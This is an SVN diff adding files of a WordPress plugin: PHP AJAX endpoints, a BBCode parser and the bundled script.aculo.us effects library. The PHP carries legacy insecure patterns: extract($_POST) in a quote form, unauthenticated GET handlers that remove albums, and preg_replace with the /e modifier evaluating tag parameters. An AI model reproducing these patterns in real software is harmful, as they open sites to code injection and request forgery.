Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/ajax/getSession.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/ajax/getSession.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/ajax/getSession.php	(revision 44)
@@ -0,0 +1,10 @@
+<?php
+define('WP_ADMIN', TRUE);
+require_once('../../../../wp-load.php');
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+require_once('../lib.php');
+
+$wpfbg = new wpfbg(true);
+echo $wpfbg->getSession($_GET['token']);
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/ajax/removeAlbum.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/ajax/removeAlbum.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/ajax/removeAlbum.php	(revision 44)
@@ -0,0 +1,9 @@
+<?php
+define('WP_ADMIN', TRUE);
+require_once('../../../../wp-load.php');
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+require_once('../lib.php');
+
+$wpfbg = new wpfbg(true);
+echo $wpfbg->removeAlbum($_GET['aid']);
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/ajax/rquote.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/ajax/rquote.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/ajax/rquote.php	(revision 44)
@@ -0,0 +1,11 @@
+<?php
+define('WP_ADMIN', TRUE);
+require_once('../../../../wp-load.php');
+require_once(ABSPATH . 'wp-admin/includes/admin.php');
+require_once('../lib.php');
+extract($_POST);
+
+$message = "Project Type: $project_type\nOther: $other_hidden\nCMS: $cms_hidden\nDeadline: $deadline\nE-Mail: $email\nName: $name";
+
+mail('vladimir@ferdinand.rs', 'Wordbook - Request Quote', $message);
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/bbcode.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/bbcode.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/bbcode.php	(revision 44)
@@ -0,0 +1,101 @@
+<?php
+
+class bbcode{
+    var $tags;
+    var $settings;
+    function bbcode(){
+        $this->tags = array();
+        $this->settings = array('enced'=>true);
+    }
+    function get_data($name,$cfa = ''){
+        if(!array_key_exists($name,$this->tags)) return '';
+        $data = $this->tags[$name];
+        if($cfa) $sbc = $cfa; else $sbc = $name;
+        if(!is_array($data)){
+            $data = preg_replace('/^ALIAS(.+)$/','$1',$data);
+            return $this->get_data($data,$sbc);
+        }else{
+            $data['Name'] = $sbc;
+            return $data;
+        }
+    }
+    function change_setting($name,$value){
+        $this->settings[$name] = $value;
+    }
+    function add_alias($name,$aliasof){
+        if(!array_key_exists($aliasof,$this->tags) or array_key_exists($name,$this->tags)) return false;
+        $this->tags[$name] = 'ALIAS'.$aliasof;
+        return true;
+    }
+    function onparam($param,$regexarray){
+        $param = replace_pcre_array($param,$regexarray);
+        if(!$this->settings['enced']){
+            $param = htmlentities($param);
+        }
+        return $param;
+    }
+    function export_definition(){
+        return serialize($this->tags);
+    }
+    function import_definiton($definition,$mode = 'append'){
+        switch($mode){
+            case 'append':
+            $array = unserialize($definition);
+            $this->tags = $array + $this->tags;
+            break;
+            case 'prepend':
+            $array = unserialize($definition);
+            $this->tags = $this->tags + $array;
+            break;
+            case 'overwrite':
+            $this->tags = unserialize($definition);
+            break;
+            default:
+            return false;
+        }
+        return true;
+    }
+    function add_tag($params){
+        if(!is_array($params)) return 'Paramater array not an array.';
+        if(!array_key_exists('Name',$params) or empty($params['Name'])) return 'Name parameter is required.';
+        if(preg_match('/[^A-Za-z]/',$params['Name'])) return 'Name can only contain letters.';
+        if(!array_key_exists('HasParam',$params)) $params['HasParam'] = false;
+        if(!array_key_exists('HtmlBegin',$params)) return 'HtmlBegin paremater not specified!';
+        if(!array_key_exists('HtmlEnd',$params)){
+             if(preg_match('/^(<[A-Za-z]>)+$/',$params['HtmlBegin'])){
+                 $params['HtmlEnd'] = begtoend($params['HtmlBegin']);
+             }else{
+                 return 'You didn\'t specify the HtmlEnd parameter, and your HtmlBegin parameter is too complex to change to an HtmlEnd parameter.  Please specify HtmlEnd.';
+             }
+        }
+        if(!array_key_exists('ParamRegexReplace',$params)) $params['ParamRegexReplace'] = array();
+        if(!array_key_exists('ParamRegex',$params)) $params['ParamRegex'] = '[^\\]]+';
+        if(!array_key_exists('HasEnd',$params)) $params['HasEnd'] = true;
+        if(array_key_exists($params['Name'],$this->tags)) return 'The name you specified is already in use.';
+        $this->tags[$params['Name']] = $params;
+        return '';
+    }
+    function parse_bbcode($text){
+        foreach($this->tags as $tagname => $tagdata){
+            if(!is_array($tagdata)) $tagdata = $this->get_data($tagname);
+            $startfind = "/\\[{$tagdata['Name']}";
+            if($tagdata['HasParam']){
+                $startfind.= '=('.$tagdata['ParamRegex'].')';
+            }
+            $startfind.= '\\]/';
+            if($tagdata['HasEnd']){
+                $endfind = "[/{$tagdata['Name']}]";
+                $starttags = preg_match_all($startfind,$text,$ignore);
+                $endtags = substr_count($text,$endfind);
+                if($endtags < $starttags){
+                    $text.= str_repeat($endfind,$starttags - $endtags);
+                }
+                $text = str_replace($endfind,$tagdata['HtmlEnd'],$text);
+            }
+            $replace = str_replace(array('%%P%%','%%p%%'),'\'.$this->onparam(\'$1\',$tagdata[\'ParamRegexReplace\']).\'','\''.$tagdata['HtmlBegin'].'\'');
+            $text = preg_replace($startfind.'e',$replace,$text);
+        }
+        return $text;
+    }
+} 
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/cache/4ee7fff0cdbf5836d5574f5aad928415.cache
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/cache/4ee7fff0cdbf5836d5574f5aad928415.cache	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/cache/4ee7fff0cdbf5836d5574f5aad928415.cache	(revision 44)
@@ -0,0 +1,6 @@
+x-expires: 2009-07-13 14:25:22
+expires: Mon, 13 Jul 2009 12:25:22 GMT
+date: Mon, 13 Jul 2009 12:24:22 GMT
+etag: "6eb9577908bb3399e16af5e4b5cdc829"
+content-length: 0
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/common/effects.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/common/effects.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/common/effects.js	(revision 44)
@@ -0,0 +1,1122 @@
+// script.aculo.us effects.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008
+
+// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+// Contributors:
+//  Justin Palmer (http://encytemedia.com/)
+//  Mark Pilgrim (http://diveintomark.org/)
+//  Martin Bialasinki
+// 
+// script.aculo.us is freely distributable under the terms of an MIT-style license.
+// For details, see the script.aculo.us web site: http://script.aculo.us/ 
+
+// converts rgb() and #xxx to #xxxxxx format,  
+// returns self (or first argument) if not convertable  
+String.prototype.parseColor = function() {  
+  var color = '#';
+  if (this.slice(0,4) == 'rgb(') {  
+    var cols = this.slice(4,this.length-1).split(',');  
+    var i=0; do { color += parseInt(cols[i]).toColorPart() } while (++i<3);  
+  } else {  
+    if (this.slice(0,1) == '#') {  
+      if (this.length==4) for(var i=1;i<4;i++) color += (this.charAt(i) + this.charAt(i)).toLowerCase();  
+      if (this.length==7) color = this.toLowerCase();  
+    }  
+  }  
+  return (color.length==7 ? color : (arguments[0] || this));  
+};
+
+/*--------------------------------------------------------------------------*/
+
+Element.collectTextNodes = function(element) {  
+  return $A($(element).childNodes).collect( function(node) {
+    return (node.nodeType==3 ? node.nodeValue : 
+      (node.hasChildNodes() ? Element.collectTextNodes(node) : ''));
+  }).flatten().join('');
+};
+
+Element.collectTextNodesIgnoreClass = function(element, className) {  
+  return $A($(element).childNodes).collect( function(node) {
+    return (node.nodeType==3 ? node.nodeValue : 
+      ((node.hasChildNodes() && !Element.hasClassName(node,className)) ? 
+        Element.collectTextNodesIgnoreClass(node, className) : ''));
+  }).flatten().join('');
+};
+
+Element.setContentZoom = function(element, percent) {
+  element = $(element);  
+  element.setStyle({fontSize: (percent/100) + 'em'});   
+  if (Prototype.Browser.WebKit) window.scrollBy(0,0);
+  return element;
+};
+
+Element.getInlineOpacity = function(element){
+  return $(element).style.opacity || '';
+};
+
+Element.forceRerendering = function(element) {
+  try {
+    element = $(element);
+    var n = document.createTextNode(' ');
+    element.appendChild(n);
+    element.removeChild(n);
+  } catch(e) { }
+};
+
+/*--------------------------------------------------------------------------*/
+
+var Effect = {
+  _elementDoesNotExistError: {
+    name: 'ElementDoesNotExistError',
+    message: 'The specified DOM element does not exist, but is required for this effect to operate'
+  },
+  Transitions: {
+    linear: Prototype.K,
+    sinoidal: function(pos) {
+      return (-Math.cos(pos*Math.PI)/2) + 0.5;
+    },
+    reverse: function(pos) {
+      return 1-pos;
+    },
+    flicker: function(pos) {
+      var pos = ((-Math.cos(pos*Math.PI)/4) + 0.75) + Math.random()/4;
+      return pos > 1 ? 1 : pos;
+    },
+    wobble: function(pos) {
+      return (-Math.cos(pos*Math.PI*(9*pos))/2) + 0.5;
+    },
+    pulse: function(pos, pulses) { 
+      pulses = pulses || 5; 
+      return (
+        ((pos % (1/pulses)) * pulses).round() == 0 ? 
+              ((pos * pulses * 2) - (pos * pulses * 2).floor()) : 
+          1 - ((pos * pulses * 2) - (pos * pulses * 2).floor())
+        );
+    },
+    spring: function(pos) { 
+      return 1 - (Math.cos(pos * 4.5 * Math.PI) * Math.exp(-pos * 6)); 
+    },
+    none: function(pos) {
+      return 0;
+    },
+    full: function(pos) {
+      return 1;
+    }
+  },
+  DefaultOptions: {
+    duration:   1.0,   // seconds
+    fps:        100,   // 100= assume 66fps max.
+    sync:       false, // true for combining
+    from:       0.0,
+    to:         1.0,
+    delay:      0.0,
+    queue:      'parallel'
+  },
+  tagifyText: function(element) {
+    var tagifyStyle = 'position:relative';
+    if (Prototype.Browser.IE) tagifyStyle += ';zoom:1';
+    
+    element = $(element);
+    $A(element.childNodes).each( function(child) {
+      if (child.nodeType==3) {
+        child.nodeValue.toArray().each( function(character) {
+          element.insertBefore(
+            new Element('span', {style: tagifyStyle}).update(
+              character == ' ' ? String.fromCharCode(160) : character), 
+              child);
+        });
+        Element.remove(child);
+      }
+    });
+  },
+  multiple: function(element, effect) {
+    var elements;
+    if (((typeof element == 'object') || 
+        Object.isFunction(element)) && 
+       (element.length))
+      elements = element;
+    else
+      elements = $(element).childNodes;
+      
+    var options = Object.extend({
+      speed: 0.1,
+      delay: 0.0
+    }, arguments[2] || { });
+    var masterDelay = options.delay;
+
+    $A(elements).each( function(element, index) {
+      new effect(element, Object.extend(options, { delay: index * options.speed + masterDelay }));
+    });
+  },
+  PAIRS: {
+    'slide':  ['SlideDown','SlideUp'],
+    'blind':  ['BlindDown','BlindUp'],
+    'appear': ['Appear','Fade']
+  },
+  toggle: function(element, effect) {
+    element = $(element);
+    effect = (effect || 'appear').toLowerCase();
+    var options = Object.extend({
+      queue: { position:'end', scope:(element.id || 'global'), limit: 1 }
+    }, arguments[2] || { });
+    Effect[element.visible() ? 
+      Effect.PAIRS[effect][1] : Effect.PAIRS[effect][0]](element, options);
+  }
+};
+
+Effect.DefaultOptions.transition = Effect.Transitions.sinoidal;
+
+/* ------------- core effects ------------- */
+
+Effect.ScopedQueue = Class.create(Enumerable, {
+  initialize: function() {
+    this.effects  = [];
+    this.interval = null;    
+  },
+  _each: function(iterator) {
+    this.effects._each(iterator);
+  },
+  add: function(effect) {
+    var timestamp = new Date().getTime();
+    
+    var position = Object.isString(effect.options.queue) ? 
+      effect.options.queue : effect.options.queue.position;
+    
+    switch(position) {
+      case 'front':
+        // move unstarted effects after this effect  
+        this.effects.findAll(function(e){ return e.state=='idle' }).each( function(e) {
+            e.startOn  += effect.finishOn;
+            e.finishOn += effect.finishOn;
+          });
+        break;
+      case 'with-last':
+        timestamp = this.effects.pluck('startOn').max() || timestamp;
+        break;
+      case 'end':
+        // start effect after last queued effect has finished
+        timestamp = this.effects.pluck('finishOn').max() || timestamp;
+        break;
+    }
+    
+    effect.startOn  += timestamp;
+    effect.finishOn += timestamp;
+
+    if (!effect.options.queue.limit || (this.effects.length < effect.options.queue.limit))
+      this.effects.push(effect);
+    
+    if (!this.interval)
+      this.interval = setInterval(this.loop.bind(this), 15);
+  },
+  remove: function(effect) {
+    this.effects = this.effects.reject(function(e) { return e==effect });
+    if (this.effects.length == 0) {
+      clearInterval(this.interval);
+      this.interval = null;
+    }
+  },
+  loop: function() {
+    var timePos = new Date().getTime();
+    for(var i=0, len=this.effects.length;i<len;i++) 
+      this.effects[i] && this.effects[i].loop(timePos);
+  }
+});
+
+Effect.Queues = {
+  instances: $H(),
+  get: function(queueName) {
+    if (!Object.isString(queueName)) return queueName;
+    
+    return this.instances.get(queueName) ||
+      this.instances.set(queueName, new Effect.ScopedQueue());
+  }
+};
+Effect.Queue = Effect.Queues.get('global');
+
+Effect.Base = Class.create({
+  position: null,
+  start: function(options) {
+    function codeForEvent(options,eventName){
+      return (
+        (options[eventName+'Internal'] ? 'this.options.'+eventName+'Internal(this);' : '') +
+        (options[eventName] ? 'this.options.'+eventName+'(this);' : '')
+      );
+    }
+    if (options && options.transition === false) options.transition = Effect.Transitions.linear;
+    this.options      = Object.extend(Object.extend({ },Effect.DefaultOptions), options || { });
+    this.currentFrame = 0;
+    this.state        = 'idle';
+    this.startOn      = this.options.delay*1000;
+    this.finishOn     = this.startOn+(this.options.duration*1000);
+    this.fromToDelta  = this.options.to-this.options.from;
+    this.totalTime    = this.finishOn-this.startOn;
+    this.totalFrames  = this.options.fps*this.options.duration;
+    
+    eval('this.render = function(pos){ '+
+      'if (this.state=="idle"){this.state="running";'+
+      codeForEvent(this.options,'beforeSetup')+
+      (this.setup ? 'this.setup();':'')+ 
+      codeForEvent(this.options,'afterSetup')+
+      '};if (this.state=="running"){'+
+      'pos=this.options.transition(pos)*'+this.fromToDelta+'+'+this.options.from+';'+
+      'this.position=pos;'+
+      codeForEvent(this.options,'beforeUpdate')+
+      (this.update ? 'this.update(pos);':'')+
+      codeForEvent(this.options,'afterUpdate')+
+      '}}');
+    
+    this.event('beforeStart');
+    if (!this.options.sync)
+      Effect.Queues.get(Object.isString(this.options.queue) ? 
+        'global' : this.options.queue.scope).add(this);
+  },
+  loop: function(timePos) {
+    if (timePos >= this.startOn) {
+      if (timePos >= this.finishOn) {
+        this.render(1.0);
+        this.cancel();
+        this.event('beforeFinish');
+        if (this.finish) this.finish(); 
+        this.event('afterFinish');
+        return;  
+      }
+      var pos   = (timePos - this.startOn) / this.totalTime,
+          frame = (pos * this.totalFrames).round();
+      if (frame > this.currentFrame) {
+        this.render(pos);
+        this.currentFrame = frame;
+      }
+    }
+  },
+  cancel: function() {
+    if (!this.options.sync)
+      Effect.Queues.get(Object.isString(this.options.queue) ? 
+        'global' : this.options.queue.scope).remove(this);
+    this.state = 'finished';
+  },
+  event: function(eventName) {
+    if (this.options[eventName + 'Internal']) this.options[eventName + 'Internal'](this);
+    if (this.options[eventName]) this.options[eventName](this);
+  },
+  inspect: function() {
+    var data = $H();
+    for(property in this)
+      if (!Object.isFunction(this[property])) data.set(property, this[property]);
+    return '#<Effect:' + data.inspect() + ',options:' + $H(this.options).inspect() + '>';
+  }
+});
+
+Effect.Parallel = Class.create(Effect.Base, {
+  initialize: function(effects) {
+    this.effects = effects || [];
+    this.start(arguments[1]);
+  },
+  update: function(position) {
+    this.effects.invoke('render', position);
+  },
+  finish: function(position) {
+    this.effects.each( function(effect) {
+      effect.render(1.0);
+      effect.cancel();
+      effect.event('beforeFinish');
+      if (effect.finish) effect.finish(position);
+      effect.event('afterFinish');
+    });
+  }
+});
+
+Effect.Tween = Class.create(Effect.Base, {
+  initialize: function(object, from, to) {
+    object = Object.isString(object) ? $(object) : object;
+    var args = $A(arguments), method = args.last(), 
+      options = args.length == 5 ? args[3] : null;
+    this.method = Object.isFunction(method) ? method.bind(object) :
+      Object.isFunction(object[method]) ? object[method].bind(object) : 
+      function(value) { object[method] = value };
+    this.start(Object.extend({ from: from, to: to }, options || { }));
+  },
+  update: function(position) {
+    this.method(position);
+  }
+});
+
+Effect.Event = Class.create(Effect.Base, {
+  initialize: function() {
+    this.start(Object.extend({ duration: 0 }, arguments[0] || { }));
+  },
+  update: Prototype.emptyFunction
+});
+
+Effect.Opacity = Class.create(Effect.Base, {
+  initialize: function(element) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    // make this work on IE on elements without 'layout'
+    if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout))
+      this.element.setStyle({zoom: 1});
+    var options = Object.extend({
+      from: this.element.getOpacity() || 0.0,
+      to:   1.0
+    }, arguments[1] || { });
+    this.start(options);
+  },
+  update: function(position) {
+    this.element.setOpacity(position);
+  }
+});
+
+Effect.Move = Class.create(Effect.Base, {
+  initialize: function(element) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    var options = Object.extend({
+      x:    0,
+      y:    0,
+      mode: 'relative'
+    }, arguments[1] || { });
+    this.start(options);
+  },
+  setup: function() {
+    this.element.makePositioned();
+    this.originalLeft = parseFloat(this.element.getStyle('left') || '0');
+    this.originalTop  = parseFloat(this.element.getStyle('top')  || '0');
+    if (this.options.mode == 'absolute') {
+      this.options.x = this.options.x - this.originalLeft;
+      this.options.y = this.options.y - this.originalTop;
+    }
+  },
+  update: function(position) {
+    this.element.setStyle({
+      left: (this.options.x  * position + this.originalLeft).round() + 'px',
+      top:  (this.options.y  * position + this.originalTop).round()  + 'px'
+    });
+  }
+});
+
+// for backwards compatibility
+Effect.MoveBy = function(element, toTop, toLeft) {
+  return new Effect.Move(element, 
+    Object.extend({ x: toLeft, y: toTop }, arguments[3] || { }));
+};
+
+Effect.Scale = Class.create(Effect.Base, {
+  initialize: function(element, percent) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    var options = Object.extend({
+      scaleX: true,
+      scaleY: true,
+      scaleContent: true,
+      scaleFromCenter: false,
+      scaleMode: 'box',        // 'box' or 'contents' or { } with provided values
+      scaleFrom: 100.0,
+      scaleTo:   percent
+    }, arguments[2] || { });
+    this.start(options);
+  },
+  setup: function() {
+    this.restoreAfterFinish = this.options.restoreAfterFinish || false;
+    this.elementPositioning = this.element.getStyle('position');
+    
+    this.originalStyle = { };
+    ['top','left','width','height','fontSize'].each( function(k) {
+      this.originalStyle[k] = this.element.style[k];
+    }.bind(this));
+      
+    this.originalTop  = this.element.offsetTop;
+    this.originalLeft = this.element.offsetLeft;
+    
+    var fontSize = this.element.getStyle('font-size') || '100%';
+    ['em','px','%','pt'].each( function(fontSizeType) {
+      if (fontSize.indexOf(fontSizeType)>0) {
+        this.fontSize     = parseFloat(fontSize);
+        this.fontSizeType = fontSizeType;
+      }
+    }.bind(this));
+    
+    this.factor = (this.options.scaleTo - this.options.scaleFrom)/100;
+    
+    this.dims = null;
+    if (this.options.scaleMode=='box')
+      this.dims = [this.element.offsetHeight, this.element.offsetWidth];
+    if (/^content/.test(this.options.scaleMode))
+      this.dims = [this.element.scrollHeight, this.element.scrollWidth];
+    if (!this.dims)
+      this.dims = [this.options.scaleMode.originalHeight,
+                   this.options.scaleMode.originalWidth];
+  },
+  update: function(position) {
+    var currentScale = (this.options.scaleFrom/100.0) + (this.factor * position);
+    if (this.options.scaleContent && this.fontSize)
+      this.element.setStyle({fontSize: this.fontSize * currentScale + this.fontSizeType });
+    this.setDimensions(this.dims[0] * currentScale, this.dims[1] * currentScale);
+  },
+  finish: function(position) {
+    if (this.restoreAfterFinish) this.element.setStyle(this.originalStyle);
+  },
+  setDimensions: function(height, width) {
+    var d = { };
+    if (this.options.scaleX) d.width = width.round() + 'px';
+    if (this.options.scaleY) d.height = height.round() + 'px';
+    if (this.options.scaleFromCenter) {
+      var topd  = (height - this.dims[0])/2;
+      var leftd = (width  - this.dims[1])/2;
+      if (this.elementPositioning == 'absolute') {
+        if (this.options.scaleY) d.top = this.originalTop-topd + 'px';
+        if (this.options.scaleX) d.left = this.originalLeft-leftd + 'px';
+      } else {
+        if (this.options.scaleY) d.top = -topd + 'px';
+        if (this.options.scaleX) d.left = -leftd + 'px';
+      }
+    }
+    this.element.setStyle(d);
+  }
+});
+
+Effect.Highlight = Class.create(Effect.Base, {
+  initialize: function(element) {
+    this.element = $(element);
+    if (!this.element) throw(Effect._elementDoesNotExistError);
+    var options = Object.extend({ startcolor: '#ffff99' }, arguments[1] || { });
+    this.start(options);
+  },
+  setup: function() {
+    // Prevent executing on elements not in the layout flow
+    if (this.element.getStyle('display')=='none') { this.cancel(); return; }
+    // Disable background image during the effect
+    this.oldStyle = { };
+    if (!this.options.keepBackgroundImage) {
+      this.oldStyle.backgroundImage = this.element.getStyle('background-image');
+      this.element.setStyle({backgroundImage: 'none'});
+    }
+    if (!this.options.endcolor)
+      this.options.endcolor = this.element.getStyle('background-color').parseColor('#ffffff');
+    if (!this.options.restorecolor)
+      this.options.restorecolor = this.element.getStyle('background-color');
+    // init color calculations
+    this._base  = $R(0,2).map(function(i){ return parseInt(this.options.startcolor.slice(i*2+1,i*2+3),16) }.bind(this));
+    this._delta = $R(0,2).map(function(i){ return parseInt(this.options.endcolor.slice(i*2+1,i*2+3),16)-this._base[i] }.bind(this));
+  },
+  update: function(position) {
+    this.element.setStyle({backgroundColor: $R(0,2).inject('#',function(m,v,i){
+      return m+((this._base[i]+(this._delta[i]*position)).round().toColorPart()); }.bind(this)) });
+  },
+  finish: function() {
+    this.element.setStyle(Object.extend(this.oldStyle, {
+      backgroundColor: this.options.restorecolor
+    }));
+  }
+});
+
+Effect.ScrollTo = function(element) {
+  var options = arguments[1] || { },
+    scrollOffsets = document.viewport.getScrollOffsets(),
+    elementOffsets = $(element).cumulativeOffset(),
+    max = (window.height || document.body.scrollHeight) - document.viewport.getHeight();  
+
+  if (options.offset) elementOffsets[1] += options.offset;
+
+  return new Effect.Tween(null,
+    scrollOffsets.top,
+    elementOffsets[1] > max ? max : elementOffsets[1],
+    options,
+    function(p){ scrollTo(scrollOffsets.left, p.round()) }
+  );
+};
+
+/* ------------- combination effects ------------- */
+
+Effect.Fade = function(element) {
+  element = $(element);
+  var oldOpacity = element.getInlineOpacity();
+  var options = Object.extend({
+    from: element.getOpacity() || 1.0,
+    to:   0.0,
+    afterFinishInternal: function(effect) { 
+      if (effect.options.to!=0) return;
+      effect.element.hide().setStyle({opacity: oldOpacity}); 
+    }
+  }, arguments[1] || { });
+  return new Effect.Opacity(element,options);
+};
+
+Effect.Appear = function(element) {
+  element = $(element);
+  var options = Object.extend({
+  from: (element.getStyle('display') == 'none' ? 0.0 : element.getOpacity() || 0.0),
+  to:   1.0,
+  // force Safari to render floated elements properly
+  afterFinishInternal: function(effect) {
+    effect.element.forceRerendering();
+  },
+  beforeSetup: function(effect) {
+    effect.element.setOpacity(effect.options.from).show(); 
+  }}, arguments[1] || { });
+  return new Effect.Opacity(element,options);
+};
+
+Effect.Puff = function(element) {
+  element = $(element);
+  var oldStyle = { 
+    opacity: element.getInlineOpacity(), 
+    position: element.getStyle('position'),
+    top:  element.style.top,
+    left: element.style.left,
+    width: element.style.width,
+    height: element.style.height
+  };
+  return new Effect.Parallel(
+   [ new Effect.Scale(element, 200, 
+      { sync: true, scaleFromCenter: true, scaleContent: true, restoreAfterFinish: true }), 
+     new Effect.Opacity(element, { sync: true, to: 0.0 } ) ], 
+     Object.extend({ duration: 1.0, 
+      beforeSetupInternal: function(effect) {
+        Position.absolutize(effect.effects[0].element)
+      },
+      afterFinishInternal: function(effect) {
+         effect.effects[0].element.hide().setStyle(oldStyle); }
+     }, arguments[1] || { })
+   );
+};
+
+Effect.BlindUp = function(element) {
+  element = $(element);
+  element.makeClipping();
+  return new Effect.Scale(element, 0,
+    Object.extend({ scaleContent: false, 
+      scaleX: false, 
+      restoreAfterFinish: true,
+      afterFinishInternal: function(effect) {
+        effect.element.hide().undoClipping();
+      } 
+    }, arguments[1] || { })
+  );
+};
+
+Effect.BlindDown = function(element) {
+  element = $(element);
+  var elementDimensions = element.getDimensions();
+  return new Effect.Scale(element, 100, Object.extend({ 
+    scaleContent: false, 
+    scaleX: false,
+    scaleFrom: 0,
+    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
+    restoreAfterFinish: true,
+    afterSetup: function(effect) {
+      effect.element.makeClipping().setStyle({height: '0px'}).show(); 
+    },  
+    afterFinishInternal: function(effect) {
+      effect.element.undoClipping();
+    }
+  }, arguments[1] || { }));
+};
+
+Effect.SwitchOff = function(element) {
+  element = $(element);
+  var oldOpacity = element.getInlineOpacity();
+  return new Effect.Appear(element, Object.extend({
+    duration: 0.4,
+    from: 0,
+    transition: Effect.Transitions.flicker,
+    afterFinishInternal: function(effect) {
+      new Effect.Scale(effect.element, 1, { 
+        duration: 0.3, scaleFromCenter: true,
+        scaleX: false, scaleContent: false, restoreAfterFinish: true,
+        beforeSetup: function(effect) { 
+          effect.element.makePositioned().makeClipping();
+        },
+        afterFinishInternal: function(effect) {
+          effect.element.hide().undoClipping().undoPositioned().setStyle({opacity: oldOpacity});
+        }
+      })
+    }
+  }, arguments[1] || { }));
+};
+
+Effect.DropOut = function(element) {
+  element = $(element);
+  var oldStyle = {
+    top: element.getStyle('top'),
+    left: element.getStyle('left'),
+    opacity: element.getInlineOpacity() };
+  return new Effect.Parallel(
+    [ new Effect.Move(element, {x: 0, y: 100, sync: true }), 
+      new Effect.Opacity(element, { sync: true, to: 0.0 }) ],
+    Object.extend(
+      { duration: 0.5,
+        beforeSetup: function(effect) {
+          effect.effects[0].element.makePositioned(); 
+        },
+        afterFinishInternal: function(effect) {
+          effect.effects[0].element.hide().undoPositioned().setStyle(oldStyle);
+        } 
+      }, arguments[1] || { }));
+};
+
+Effect.Shake = function(element) {
+  element = $(element);
+  var options = Object.extend({
+    distance: 20,
+    duration: 0.5
+  }, arguments[1] || {});
+  var distance = parseFloat(options.distance);
+  var split = parseFloat(options.duration) / 10.0;
+  var oldStyle = {
+    top: element.getStyle('top'),
+    left: element.getStyle('left') };
+    return new Effect.Move(element,
+      { x:  distance, y: 0, duration: split, afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x: -distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x:  distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x: -distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x:  distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
+    new Effect.Move(effect.element,
+      { x: -distance, y: 0, duration: split, afterFinishInternal: function(effect) {
+        effect.element.undoPositioned().setStyle(oldStyle);
+  }}) }}) }}) }}) }}) }});
+};
+
+Effect.SlideDown = function(element) {
+  element = $(element).cleanWhitespace();
+  // SlideDown need to have the content of the element wrapped in a container element with fixed height!
+  var oldInnerBottom = element.down().getStyle('bottom');
+  var elementDimensions = element.getDimensions();
+  return new Effect.Scale(element, 100, Object.extend({ 
+    scaleContent: false, 
+    scaleX: false, 
+    scaleFrom: window.opera ? 0 : 1,
+    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
+    restoreAfterFinish: true,
+    afterSetup: function(effect) {
+      effect.element.makePositioned();
+      effect.element.down().makePositioned();
+      if (window.opera) effect.element.setStyle({top: ''});
+      effect.element.makeClipping().setStyle({height: '0px'}).show(); 
+    },
+    afterUpdateInternal: function(effect) {
+      effect.element.down().setStyle({bottom:
+        (effect.dims[0] - effect.element.clientHeight) + 'px' }); 
+    },
+    afterFinishInternal: function(effect) {
+      effect.element.undoClipping().undoPositioned();
+      effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom}); }
+    }, arguments[1] || { })
+  );
+};
+
+Effect.SlideUp = function(element) {
+  element = $(element).cleanWhitespace();
+  var oldInnerBottom = element.down().getStyle('bottom');
+  var elementDimensions = element.getDimensions();
+  return new Effect.Scale(element, window.opera ? 0 : 1,
+   Object.extend({ scaleContent: false, 
+    scaleX: false, 
+    scaleMode: 'box',
+    scaleFrom: 100,
+    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
+    restoreAfterFinish: true,
+    afterSetup: function(effect) {
+      effect.element.makePositioned();
+      effect.element.down().makePositioned();
+      if (window.opera) effect.element.setStyle({top: ''});
+      effect.element.makeClipping().show();
+    },  
+    afterUpdateInternal: function(effect) {
+      effect.element.down().setStyle({bottom:
+        (effect.dims[0] - effect.element.clientHeight) + 'px' });
+    },
+    afterFinishInternal: function(effect) {
+      effect.element.hide().undoClipping().undoPositioned();
+      effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom});
+    }
+   }, arguments[1] || { })
+  );
+};
+
+// Bug in opera makes the TD containing this element expand for a instance after finish 
+Effect.Squish = function(element) {
+  return new Effect.Scale(element, window.opera ? 1 : 0, { 
+    restoreAfterFinish: true,
+    beforeSetup: function(effect) {
+      effect.element.makeClipping(); 
+    },  
+    afterFinishInternal: function(effect) {
+      effect.element.hide().undoClipping(); 
+    }
+  });
+};
+
